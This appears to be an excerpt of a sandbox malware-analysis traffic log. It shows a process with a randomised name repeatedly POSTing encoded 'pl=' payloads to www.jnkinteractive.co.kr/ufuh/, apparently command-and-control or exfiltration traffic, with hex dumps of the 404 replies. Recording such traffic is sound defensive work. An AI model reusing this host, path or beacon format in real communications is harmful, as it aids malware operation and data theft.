pl=JZKxbQTXVGqeBW/zAbGa67lwraqPV5YDoYkGG4kWmvLBNdseCLIOOAM6sOMaFygjHbM0HKoahoKwyQ2TQZGttQCSLslNugcc2ODLq+al9p/Mt+e3MuE3/6ZGu+RK3wNxGP+n8MwBBVu0zW/U5U8dSiSSEiD79GAKDJneS/1T0gvm2Vrp4rn0gybievySwMDKd9XwyMQdEDsQBT2yJf38aN1O4CH1kT6YcBSDbCwC6sAsMp3FvbeeZZmRXobtfcXMOoWXTiWRhDNUYQI2G/nMoaY6I+CXWRQs2neTDUBWtIKbgjpwQFUon8XdGIbHYUjOwl6aUrOcBqeN7Uip7kUz0bOLvO00n115+7cE3KfRCiUSOX64AxT+d/gzbWDyVSokiva2yv8go1dVRTInP4Q/OnbX3y/QZbnF9RkKElXak/nv1tW16TWmSS5ctUP25Lu3IpQl9UHJwxlMdGcDKlU4cKMfq2M7YANJlglH+T9BFQFZ59MwUskpZbzN7/Ti5EQURAvZjq4qzq925ArnnYQ+QZBhweKtoKoXrp40ym3DBz6deP63HkF5Rj9BHX9mLHHNpFK0z7s4mK+F8j3bsLfYgXxKhXoYFZWZVjGb0SpFhxwRYC8egdk6OhBU8KNs0J8Tj3tKjBbKnqsiwlu+uRMShXpKAJ1OR+KhGcWC2UQ8/axU2aH6v393twBZ5zljvGvBwDcdA9tcgRYIxBgEe0MyHCh6WWROtC3zrASwOX/XsSuLS2bMYt/AT6xP+hR7DZjtag4oCdHjdxLs2wzmkclJ3Oo0ZgygLT9Px7192NPP97eUD+ynkvy8vu39zSmzlDEgy+uub5vlD2MxODNxkwFK3Tp3yqJRY0YtC9/Iz3LHNy6YTrZoEYtOu+oULaJxpxKZ5FqBLcYYW7GOzvg9dQpAi77qmb4+5MMyIzGBLKWQLTB5Dzj1biOLjLSculbV+aVR3L7t6y7BUb+qCXXsE5tEScPTBh2FudIQVN1BOP7MpINAY/k4b [TRUNCATED]
May 2, 2024 08:29:28.189863920 CEST	127	OUT	Data Raw: 38 73 59 63 48 77 38 46 63 4f 64 78 66 31 75 30 65 63 71 2f 43 64 36 4e 33 38 4d 31 45 67 6d 4d 6c 45 73 58 39 45 42 33 45 32 73 47 30 34 44 71 64 48 67 32 36 58 47 6d 4c 32 31 50 69 2f 41 2f 58 69 5a 46 6a 57 46 65 61 71 67 6b 36 53 5a 35 71 2b Data Ascii: 8sYcHw8FcOdxf1u0ecq/Cd6N38M1EgmMlEsX9EB3E2sG04DqdHg26XGmL21Pi/A/XiZFjWFeaqgk6SZ5q+XwoNWM77KFlSCj9z6A1a4MqpterbYxlNdv+v7nRLKBrIN
May 2, 2024 08:29:28.776334047 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:29:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://jnkinteractive.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 62 66 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bc 19 4b 6f e3 c6 f9 5c ff 0a 8a 41 6d 32 4b 52 94 ec f5 ba 94 b9 8b c4 f1 16 6d 37 dd 60 1f 28 8a b5 11 8c c8 a1 34 36 c5 61 66 86 96 5d ae 80 a0 58 14 45 11 f4 92 16 cd 21 39 14 68 d1 4b 80 16 45 0f 39 04 fd 41 5d e7 3f f4 9b 21 25 52 22 15 af 1d 27 b0 41 72 66 be d7 7c ef 19 ed 77 de 7b 7c f0 ec d7 1f 1c 6a 63 31 89 ef 6f ec cb 97 16 a3 64 e4 eb a7 d4 fe c5 13 5d ce 61 14 de df f8 d1 fe 04 0b a4 05 63 c4 38 16 be fe fc d9 43 7b 4f d7 ba 8b 95 04 4d b0 af 9f 11 3c 4d 29 13 ba 16 d0 44 e0 04 20 a7 24 14 63 3f c4 67 24 c0 b6 1a 58 1a 49 88 20 28 b6 79 80 62 ec f7 14 9d 1a 99 2d 46 87 54 f0 ad 05 91 ad 09 3a b7 c9 04 8d b0 9d 32 2c 99 78 31 62 23 bc a5 10 05 11 31 be ff cd 1f 3f bb fc e2 3f 97 ff f8 f8 f5 df bf d6 2e ff f5 df cb 2f 5e 69 97 bf ff 4c bb fc cb ef 2e bf f8 44 db 7c 6b af df eb 0d b4 d7 ff fc ea f2 b7 5f 6a 97 7f 7e f5 fa d5 97 af ff fa b9 76 f9 87 bf 5d 7e fe ea f2 df 5f ed 77 0b 42 1b fb 31 49 4e 35 86 63 7f 2b 4c b8 e4 18 61 11 8c b7 b4 31 [TRUNCATED] Data Ascii: bfbKo\Am2KRm7`(46af]XE!9hKE9A]?!%R"'Arf\|w{\|jc1od]ac8C{OM<M)D $c?g$XI (yb-FT:2,x1b#1??./^iL.D\|k_j~v]~_wB1IN5c+La1\|[IrJ@0AP\3YQ$$4&&]IKRF__m2:?\/xc!R0,O>W_G,PT$Si'<Bd5_!9u$=FG]F3\|UG:Q^^[:>lt3z _rL3`upqPB++m8NS$AWa3!sa:;>6owgcX7G8N%A-<k\&ggaK\|Ija9CqG9p9y*(}9D~6pz$0i@!XSxH@Up-1JCph,L]pR>oa]L ;zN\|;(0,2h>3/8HtG1^(GY3Qw^1.
May 2, 2024 08:29:28.776361942 CEST	1289	IN	Data Raw: 0f 3a 3d af b3 4c 36 8c 50 ed 7b 5b 5f 5d 2a 88 d4 00 cc cd cd ce aa 64 3b f0 1c ee b8 f0 0c 76 ef d5 be fb b5 ef bb b5 6f dc 0e 7f 6f 65 27 3b 0b f6 35 e0 95 99 7e 63 e6 6e 63 06 5f 4d 07 58 9b 03 65 82 32 3b 14 36 a8 ed 54 ca 8c a3 5e 4d bc e1 Data Ascii: :=L6P{[_]*d;vooe';5~cnc_MXe2;6T^M~muu<&{(Yh$e+N1iL(~onrG@HV2GdzZ!XC/@7-34gnS'<dLr$`yPMu9]j
May 2, 2024 08:29:28.776386023 CEST	878	IN	Data Raw: 57 c9 d4 6a ae ee 56 80 a6 18 5f 41 4d 1e 97 80 fd 32 b9 71 cf 19 23 6e 57 d1 67 8d fb 8d 99 ed c6 cc 4e 63 e6 6e 63 66 77 65 26 4f e1 00 24 f7 df 73 fa 77 f1 44 eb 3b db f7 e0 3d 2b 45 50 8a 2f b2 65 8c 23 f1 42 ed e0 6d 7f 0a 5e 2a a5 9e d0 10 Data Ascii: WjV_AM2q#nWgNcncfwe&O$swD;=+EP/e#Bm^Fi50YpEPj@$PM%tn[A@:7(gT@yAU,gO\gxBeb_j-WBFS;Ef$@e "I]*=g
May 2, 2024 08:29:28.776540995 CEST	1289	IN	Data Raw: 65 34 64 0d 0a bc 5c 6d 6f e3 36 12 fe dc fe 0a 21 c1 a1 d1 1e 6d 48 94 2c cb 0e ee 70 68 8b c5 f5 c3 de 1d 6e d1 4f 87 c5 42 b6 e4 d8 a8 13 1b 7e d9 24 35 f2 df 6f 66 48 4a 14 45 bd 58 4a bb bb c9 da d4 cc 33 43 8a 9a 19 0e 87 2a c7 23 a2 e8 84 Data Ascii: e4d\mo6!mH,phnOB~$5ofHJEXJ3C#x6(fD\;phRFrH`.gW0Z.;V.3U" j(]h!9v~ \|Y$;L7].{{!Mpom{-0
May 2, 2024 08:29:28.776597977 CEST	1289	IN	Data Raw: d9 cf 1f 3f f2 1a aa bc de 0c e8 82 70 f2 53 1d da 09 13 28 82 ec 63 84 7f 0d b2 3c c8 ae 2c de f2 f5 9c ea 7f 4d c0 0d 6b f7 e4 2e 62 7e 38 85 c5 fb 94 f9 ae 03 0b 2a 68 bc f3 27 13 06 81 38 e7 a1 8b fb 09 10 ad d4 89 36 27 48 21 5b 9f 05 f5 f2 Data Ascii: ?pS(c<,Mk.b~8*h'86'H![0w{{1UeF5OG0&+'dUh,_%{SFM+Upx3Sh26i(99C}8?6 +9ou>xc`BjCfm u``
May 2, 2024 08:29:28.776669979 CEST	1090	IN	Data Raw: e4 f6 40 3e 8e e5 66 52 98 b7 82 8b 4d e9 92 5d b1 c2 f3 62 40 74 01 5e 0b bc dc 22 af 18 17 bd f8 ad 6a 66 f4 ab 15 7c ed 1e fe 61 43 64 93 f1 fe 23 65 93 f2 87 0f 58 c9 8d e6 83 e7 6a df 85 87 37 fd 25 ee e6 a9 cd b3 aa bb b7 c5 f4 ee fd 1f d7 Data Ascii: @>fRM]b@t^"jf\|aCd#eXj7%.: \\|^}i# {\|rVNXZBfT_B}ouNt{}^E61*/+K7p+A%P],^1[5xk=F'V9uv;
May 2, 2024 08:29:28.777450085 CEST	1289	IN	Data Raw: 38 66 63 0d 0a ec 5d eb 8b dc 54 14 ff bc 03 fd 1f 2e 57 64 15 9a 64 92 79 ed d6 9d 51 ab 2d 14 5b 2a 15 f5 83 4a c9 24 99 dd b4 99 49 4c 32 9d ae b2 20 5a 44 2d 08 82 a2 1f aa 28 28 2a 0a 8a 54 e8 07 f1 0f 72 c6 ff c1 73 ce bd 79 4e e6 b5 6c dd Data Ascii: 8fc]T.WddyQ-[J$IL2 ZD-((TrsyNlLr{WS@IOr"/3h<TLH>C_/B>OU@PLZ+*auBhg:n]Q}djv6_+dLaLz%M9%H1is4Kl;H
May 2, 2024 08:29:28.777481079 CEST	1018	IN	Data Raw: d3 e4 47 47 47 db c0 42 6f 4f 7a b1 23 9e a1 b3 04 7e 30 0e ba 1c 1f 15 c5 8a 4c 7f fc 74 fa e1 7d 36 fb fc fe 5f 0f 7e e5 73 ad 25 e3 f7 fa f5 4c 71 39 89 fa c0 3b 2b 4a 03 44 87 06 cb ad 9b 30 65 27 73 f6 91 8a d5 57 33 5a 2a e6 ba e2 8c c6 57 Data Ascii: GGGBoOz#~0Lt}6_~s%Lq9;+JD0e'sW3ZWGaB^~9h1sd{xA$T>.7>q}{tk2v5.4ow9{6k">ZDprh#\e2vyGmcVN/O'vjZ(R+mC#B{vFp
May 2, 2024 08:29:28.784166098 CEST	667	IN	Data Raw: 32 39 34 0d 0a 8c 5d bd 72 d3 40 10 ae e3 a7 58 44 21 39 c8 92 6d 60 06 c7 03 05 84 01 33 06 8a b8 8b 32 8c 1c 9f 13 19 23 27 ba 33 26 24 99 49 43 4f 41 41 c9 23 a4 a4 e1 85 20 bc 03 df ae 14 59 96 95 0c 8d e5 3b ed dd ed b7 7f b7 37 da 91 f2 c7 Data Ascii: 294]r@XD!9m`32#'3&$ICOAA# Y;7+h56c@}PDXF8nysdiC6MuTGCL_a2=!)c)0mhHaa(Sf1}#Qfy0^(outEoxP!
May 2, 2024 08:29:28.784192085 CEST	20	IN	Data Raw: 61 0d 0a 03 00 4d c4 a4 e3 5f a2 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aM_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49195	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:30.726321936 CEST	744	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.jnkinteractive.co.kr Origin: http://www.jnkinteractive.co.kr Referer: http://www.jnkinteractive.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4a 5a 4b 78 62 51 54 58 56 47 71 65 42 56 37 7a 41 4b 47 61 67 62 6c 77 71 61 71 50 48 35 59 46 6f 59 70 78 47 38 64 54 6d 39 72 42 4e 4d 63 65 44 34 77 4f 4a 41 4d 37 6d 75 4e 54 42 79 68 2b 48 62 4d 43 48 49 73 61 68 6f 65 77 7a 79 2b 54 42 4d 71 71 6b 41 43 63 47 4d 6c 4d 75 67 51 47 32 4f 50 62 71 2f 79 6c 39 72 72 4d 2f 76 69 33 4a 4e 73 33 36 4b 5a 45 6e 65 52 6e 33 77 42 6b 47 4c 53 76 38 4a 30 42 41 6b 69 30 79 47 66 55 76 55 41 64 63 43 53 54 4b 43 43 4d 38 55 39 46 4e 61 33 6e 57 5a 74 78 30 69 37 66 39 48 7a 55 34 64 61 2b 32 54 62 77 58 34 33 53 79 2b 4b 47 4f 41 3d 3d Data Ascii: pl=JZKxbQTXVGqeBV7zAKGagblwqaqPH5YFoYpxG8dTm9rBNMceD4wOJAM7muNTByh+HbMCHIsahoewzy+TBMqqkACcGMlMugQG2OPbq/yl9rrM/vi3JNs36KZEneRn3wBkGLSv8J0BAki0yGfUvUAdcCSTKCCM8U9FNa3nWZtx0i7f9HzU4da+2TbwX43Sy+KGOA==
May 2, 2024 08:29:31.296595097 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:29:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://jnkinteractive.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 62 66 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bc 19 4b 6f e3 c6 f9 5c ff 0a 8a 41 6d 32 4b 52 94 ec f5 ba 94 b9 8b c4 f1 16 6d 37 dd 60 1f 28 8a b5 11 8c c8 a1 34 36 c5 61 66 86 96 5d ae 80 a0 58 14 45 11 f4 92 16 cd 21 39 14 68 d1 4b 80 16 45 0f 39 04 fd 41 5d e7 3f f4 9b 21 25 52 22 15 af 1d 27 b0 41 72 66 be d7 7c ef 19 ed 77 de 7b 7c f0 ec d7 1f 1c 6a 63 31 89 ef 6f ec cb 97 16 a3 64 e4 eb a7 d4 fe c5 13 5d ce 61 14 de df f8 d1 fe 04 0b a4 05 63 c4 38 16 be fe fc d9 43 7b 4f d7 ba 8b 95 04 4d b0 af 9f 11 3c 4d 29 13 ba 16 d0 44 e0 04 20 a7 24 14 63 3f c4 67 24 c0 b6 1a 58 1a 49 88 20 28 b6 79 80 62 ec f7 14 9d 1a 99 2d 46 87 54 f0 ad 05 91 ad 09 3a b7 c9 04 8d b0 9d 32 2c 99 78 31 62 23 bc a5 10 05 11 31 be ff cd 1f 3f bb fc e2 3f 97 ff f8 f8 f5 df bf d6 2e ff f5 df cb 2f 5e 69 97 bf ff 4c bb fc cb ef 2e bf f8 44 db 7c 6b af df eb 0d b4 d7 ff fc ea f2 b7 5f 6a 97 7f 7e f5 fa d5 97 af ff fa b9 76 f9 87 bf 5d 7e fe ea f2 df 5f ed 77 0b 42 1b fb 31 49 4e 35 86 63 7f 2b 4c b8 e4 18 61 11 8c b7 b4 31 [TRUNCATED] Data Ascii: bfbKo\Am2KRm7`(46af]XE!9hKE9A]?!%R"'Arf\|w{\|jc1od]ac8C{OM<M)D $c?g$XI (yb-FT:2,x1b#1??./^iL.D\|k_j~v]~_wB1IN5c+La1\|[IrJ@0AP\3YQ$$4&&]IKRF__m2:?\/xc!R0,O>W_G,PT$Si'<Bd5_!9u$=FG]F3\|UG:Q^^[:>lt3z _rL3`upqPB++m8NS$AWa3!sa:;>6owgcX7G8N%A-<k\&ggaK\|Ija9CqG9p9y*(}9D~6pz$0i@!XSxH@Up-1JCph,L]pR>oa]L ;zN\|;(0,2h>3/8HtG1^(GY3Qw^1.
May 2, 2024 08:29:31.296606064 CEST	1289	IN	Data Raw: 0f 3a 3d af b3 4c 36 8c 50 ed 7b 5b 5f 5d 2a 88 d4 00 cc cd cd ce aa 64 3b f0 1c ee b8 f0 0c 76 ef d5 be fb b5 ef bb b5 6f dc 0e 7f 6f 65 27 3b 0b f6 35 e0 95 99 7e 63 e6 6e 63 06 5f 4d 07 58 9b 03 65 82 32 3b 14 36 a8 ed 54 ca 8c a3 5e 4d bc e1 Data Ascii: :=L6P{[_]*d;vooe';5~cnc_MXe2;6T^M~muu<&{(Yh$e+N1iL(~onrG@HV2GdzZ!XC/@7-34gnS'<dLr$`yPMu9]j
May 2, 2024 08:29:31.296611071 CEST	878	IN	Data Raw: 57 c9 d4 6a ae ee 56 80 a6 18 5f 41 4d 1e 97 80 fd 32 b9 71 cf 19 23 6e 57 d1 67 8d fb 8d 99 ed c6 cc 4e 63 e6 6e 63 66 77 65 26 4f e1 00 24 f7 df 73 fa 77 f1 44 eb 3b db f7 e0 3d 2b 45 50 8a 2f b2 65 8c 23 f1 42 ed e0 6d 7f 0a 5e 2a a5 9e d0 10 Data Ascii: WjV_AM2q#nWgNcncfwe&O$swD;=+EP/e#Bm^Fi50YpEPj@$PM%tn[A@:7(gT@yAU,gO\gxBeb_j-WBFS;Ef$@e "I]*=g
May 2, 2024 08:29:31.296770096 CEST	1289	IN	Data Raw: 65 34 64 0d 0a bc 5c 6d 6f e3 36 12 fe dc fe 0a 21 c1 a1 d1 1e 6d 48 94 2c cb 0e ee 70 68 8b c5 f5 c3 de 1d 6e d1 4f 87 c5 42 b6 e4 d8 a8 13 1b 7e d9 24 35 f2 df 6f 66 48 4a 14 45 bd 58 4a bb bb c9 da d4 cc 33 43 8a 9a 19 0e 87 2a c7 23 a2 e8 84 Data Ascii: e4d\mo6!mH,phnOB~$5ofHJEXJ3C#x6(fD\;phRFrH`.gW0Z.;V.3U" j(]h!9v~ \|Y$;L7].{{!Mpom{-0
May 2, 2024 08:29:31.296777964 CEST	1289	IN	Data Raw: d9 cf 1f 3f f2 1a aa bc de 0c e8 82 70 f2 53 1d da 09 13 28 82 ec 63 84 7f 0d b2 3c c8 ae 2c de f2 f5 9c ea 7f 4d c0 0d 6b f7 e4 2e 62 7e 38 85 c5 fb 94 f9 ae 03 0b 2a 68 bc f3 27 13 06 81 38 e7 a1 8b fb 09 10 ad d4 89 36 27 48 21 5b 9f 05 f5 f2 Data Ascii: ?pS(c<,Mk.b~8*h'86'H![0w{{1UeF5OG0&+'dUh,_%{SFM+Upx3Sh26i(99C}8?6 +9ou>xc`BjCfm u``
May 2, 2024 08:29:31.296869993 CEST	1090	IN	Data Raw: e4 f6 40 3e 8e e5 66 52 98 b7 82 8b 4d e9 92 5d b1 c2 f3 62 40 74 01 5e 0b bc dc 22 af 18 17 bd f8 ad 6a 66 f4 ab 15 7c ed 1e fe 61 43 64 93 f1 fe 23 65 93 f2 87 0f 58 c9 8d e6 83 e7 6a df 85 87 37 fd 25 ee e6 a9 cd b3 aa bb b7 c5 f4 ee fd 1f d7 Data Ascii: @>fRM]b@t^"jf\|aCd#eXj7%.: \\|^}i# {\|rVNXZBfT_B}ouNt{}^E61*/+K7p+A%P],^1[5xk=F'V9uv;
May 2, 2024 08:29:31.297812939 CEST	1289	IN	Data Raw: 38 66 63 0d 0a ec 5d eb 8b dc 54 14 ff bc 03 fd 1f 2e 57 64 15 9a 64 92 79 ed d6 9d 51 ab 2d 14 5b 2a 15 f5 83 4a c9 24 99 dd b4 99 49 4c 32 9d ae b2 20 5a 44 2d 08 82 a2 1f aa 28 28 2a 0a 8a 54 e8 07 f1 0f 72 c6 ff c1 73 ce bd 79 4e e6 b5 6c dd Data Ascii: 8fc]T.WddyQ-[J$IL2 ZD-((TrsyNlLr{WS@IOr"/3h<TLH>C_/B>OU@PLZ+*auBhg:n]Q}djv6_+dLaLz%M9%H1is4Kl;H
May 2, 2024 08:29:31.297836065 CEST	1018	IN	Data Raw: d3 e4 47 47 47 db c0 42 6f 4f 7a b1 23 9e a1 b3 04 7e 30 0e ba 1c 1f 15 c5 8a 4c 7f fc 74 fa e1 7d 36 fb fc fe 5f 0f 7e e5 73 ad 25 e3 f7 fa f5 4c 71 39 89 fa c0 3b 2b 4a 03 44 87 06 cb ad 9b 30 65 27 73 f6 91 8a d5 57 33 5a 2a e6 ba e2 8c c6 57 Data Ascii: GGGBoOz#~0Lt}6_~s%Lq9;+JD0e'sW3ZWGaB^~9h1sd{xA$T>.7>q}{tk2v5.4ow9{6k">ZDprh#\e2vyGmcVN/O'vjZ(R+mC#B{vFp
May 2, 2024 08:29:31.299808025 CEST	667	IN	Data Raw: 32 39 34 0d 0a 8c 5d bd 72 d3 40 10 ae e3 a7 58 44 21 39 c8 92 6d 60 06 c7 03 05 84 01 33 06 8a b8 8b 32 8c 1c 9f 13 19 23 27 ba 33 26 24 99 49 43 4f 41 41 c9 23 a4 a4 e1 85 20 bc 03 df ae 14 59 96 95 0c 8d e5 3b ed dd ed b7 7f b7 37 da 91 f2 c7 Data Ascii: 294]r@XD!9m`32#'3&$ICOAA# Y;7+h56c@}PDXF8nysdiC6MuTGCL_a2=!)c)0mhHaa(Sf1}#Qfy0^(outEoxP!
May 2, 2024 08:29:31.299817085 CEST	20	IN	Data Raw: 61 0d 0a 03 00 4d c4 a4 e3 5f a2 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aM_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49196	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:33.535666943 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.jnkinteractive.co.kr Origin: http://www.jnkinteractive.co.kr Referer: http://www.jnkinteractive.co.kr/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4a 5a 4b 78 62 51 54 58 56 47 71 65 44 31 4c 7a 4d 4a 2b 61 33 72 6c 78 30 4b 71 50 56 35 59 42 6f 59 6c 78 47 34 6b 57 6d 75 48 42 4e 62 77 65 43 62 49 4f 50 41 4d 37 67 75 4d 61 46 79 68 52 48 61 6f 6b 48 4b 30 4b 68 71 79 77 79 52 32 54 51 65 79 74 73 51 43 53 43 4d 6c 50 75 67 51 58 32 4f 66 6c 71 2b 48 2b 39 72 7a 4d 38 62 61 33 49 39 73 34 31 71 5a 45 6e 65 52 72 33 77 42 4d 47 50 32 33 38 4d 55 52 42 57 71 30 79 6d 2f 55 74 30 38 53 4e 79 53 58 41 69 44 50 39 47 4d 64 44 4a 6e 61 53 37 64 70 30 67 6a 6d 33 48 7a 70 34 73 7a 31 38 53 62 68 51 50 79 53 2b 73 44 55 64 39 58 38 79 4d 51 64 45 43 51 51 44 44 32 79 4a 65 33 7a 65 4e 31 4f 37 43 48 43 67 54 32 55 63 41 32 35 62 43 67 34 36 65 73 73 50 72 66 46 34 4c 65 65 65 70 6d 54 58 6f 62 61 51 38 58 51 4f 6f 50 69 54 69 47 2f 68 44 4e 55 59 53 41 32 43 70 7a 4d 2b 61 59 36 51 4f 43 53 5a 78 51 6a 32 6d 71 39 44 56 6c 57 74 4a 53 62 79 6c 5a 77 57 48 38 76 7a 38 58 59 56 59 62 57 4a 45 69 4d 77 6c 32 67 55 71 33 42 42 71 4f 4e 37 51 61 [TRUNCATED] Data Ascii: pl=JZKxbQTXVGqeD1LzMJ+a3rlx0KqPV5YBoYlxG4kWmuHBNbweCbIOPAM7guMaFyhRHaokHK0KhqywyR2TQeytsQCSCMlPugQX2Oflq+H+9rzM8ba3I9s41qZEneRr3wBMGP238MURBWq0ym/Ut08SNySXAiDP9GMdDJnaS7dp0gjm3Hzp4sz18SbhQPyS+sDUd9X8yMQdECQQDD2yJe3zeN1O7CHCgT2UcA25bCg46essPrfF4LeeepmTXobaQ8XQOoPiTiG/hDNUYSA2CpzM+aY6QOCSZxQj2mq9DVlWtJSbylZwWH8vz8XYVYbWJEiMwl2gUq3BBqON7Qap5B0z0rOMke04x15P+7km3KTnCj4SMG64KSr9XvgxeWD4RSpdivuYyvcgoHxVQTonY5Q8F3bczy/hS7nR9RgCEknsjN/vntW18x+nQC5Ej0P83rupIpRB9RzzzAdMdFUDJzg4cKMc7GNwKAAalgpD+ThRFRVZ5oEwUtkpNLzN8/TpgURrRArvjqg60aZ24mHnhaI+FpBnyeKssKowrpo0yinTB1Cdeu63EFF5ET9FEX84LHG+pFOwz/NNmPOF8i3b9afYo3xLnXocWJWcVjfc0S9rhwoRaiceioY6BhBSj6Ns9p8bj31wjEr0nrkizU++oxMRo3pJTZ1NHOK/GfuC2UU8/ZxU2p/6kgp3lgBh3TkimmrxwH4RA8Z2gUIIrwgEKnkxLSh4GGQBgi29rAS8OVPHvjOLXzvMUs/HRawHoRRseJiFagoCCZHzdGbs2wjmkqZJ3eo0ZgynLT9Lx74E2JLl97eUDsKnkZu8lO34xSn1yTEEy+qIb5WwD2QxcitxkwFVyjp2/KJQY0dHC9/mzyTHNg2YS5BoH6VOqeoUcqJy+hKU5FqRLe9dW6GOyfA9NDRfrr7r3r4oytxyIzKnLPOQLgV5CjP1cSOL4LSD21aRw6YQ3PbX6wDRUqOqAkfsG+xHUsPeOB2DudEjVN8NOOS3pPBAYfk4Z [TRUNCATED]
May 2, 2024 08:29:33.813353062 CEST	1591	OUT	Data Raw: 4d 73 59 59 46 6f 39 4f 38 4f 66 77 66 31 33 30 65 63 43 2f 43 56 2b 4e 32 67 63 31 41 6b 6d 4d 6e 73 73 46 74 45 43 31 30 32 75 46 30 34 4a 71 63 36 4b 32 36 75 6c 6d 4c 6d 31 50 69 6a 41 77 58 79 5a 54 54 57 46 44 71 71 6c 34 71 53 45 33 4b 69 Data Ascii: MsYYFo9O8Ofwf130ecC/CV+N2gc1AkmMnssFtEC102uF04Jqc6K26ulmLm1PijAwXyZTTWFDqql4qSE3KiUwoYvW62JKi2ng5f2YFnGIJhASbPq3WZ6vP/czk2fAf9MQQgwn+ksfL65loXOYcdZ7+Mk+LZ1UKQdPRn0qGggmHSS7n9PI03A79pgbrwEdsGznbIf5YOX52VEFFDmirfI4DJ4nHgR8HtGqOjsli6sioJ3urEgxdM8
May 2, 2024 08:29:34.374264002 CEST	1289	IN	HTTP/1.1 404 Not Found Server: openresty Date: Thu, 02 May 2024 06:29:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://jnkinteractive.co.kr/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 62 66 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bc 19 4b 6f e3 c6 f9 5c ff 0a 8a 41 6d 32 4b 52 94 ec f5 ba 94 b9 8b c4 f1 16 6d 37 dd 60 1f 28 8a b5 11 8c c8 a1 34 36 c5 61 66 86 96 5d ae 80 a0 58 14 45 11 f4 92 16 cd 21 39 14 68 d1 4b 80 16 45 0f 39 04 fd 41 5d e7 3f f4 9b 21 25 52 22 15 af 1d 27 b0 41 72 66 be d7 7c ef 19 ed 77 de 7b 7c f0 ec d7 1f 1c 6a 63 31 89 ef 6f ec cb 97 16 a3 64 e4 eb a7 d4 fe c5 13 5d ce 61 14 de df f8 d1 fe 04 0b a4 05 63 c4 38 16 be fe fc d9 43 7b 4f d7 ba 8b 95 04 4d b0 af 9f 11 3c 4d 29 13 ba 16 d0 44 e0 04 20 a7 24 14 63 3f c4 67 24 c0 b6 1a 58 1a 49 88 20 28 b6 79 80 62 ec f7 14 9d 1a 99 2d 46 87 54 f0 ad 05 91 ad 09 3a b7 c9 04 8d b0 9d 32 2c 99 78 31 62 23 bc a5 10 05 11 31 be ff cd 1f 3f bb fc e2 3f 97 ff f8 f8 f5 df bf d6 2e ff f5 df cb 2f 5e 69 97 bf ff 4c bb fc cb ef 2e bf f8 44 db 7c 6b af df eb 0d b4 d7 ff fc ea f2 b7 5f 6a 97 7f 7e f5 fa d5 97 af ff fa b9 76 f9 87 bf 5d 7e fe ea f2 df 5f ed 77 0b 42 1b fb 31 49 4e 35 86 63 7f 2b 4c b8 e4 18 61 11 8c b7 b4 31 [TRUNCATED] Data Ascii: bfbKo\Am2KRm7`(46af]XE!9hKE9A]?!%R"'Arf\|w{\|jc1od]ac8C{OM<M)D $c?g$XI (yb-FT:2,x1b#1??./^iL.D\|k_j~v]~_wB1IN5c+La1\|[IrJ@0AP\3YQ$$4&&]IKRF__m2:?\/xc!R0,O>W_G,PT$Si'<Bd5_!9u$=FG]F3\|UG:Q^^[:>lt3z _rL3`upqPB++m8NS$AWa3!sa:;>6owgcX7G8N%A-<k\&ggaK\|Ija9CqG9p9y*(}9D~6pz$0i@!XSxH@Up-1JCph,L]pR>oa]L ;zN\|;(0,2h>3/8HtG1^(GY3Qw^1.
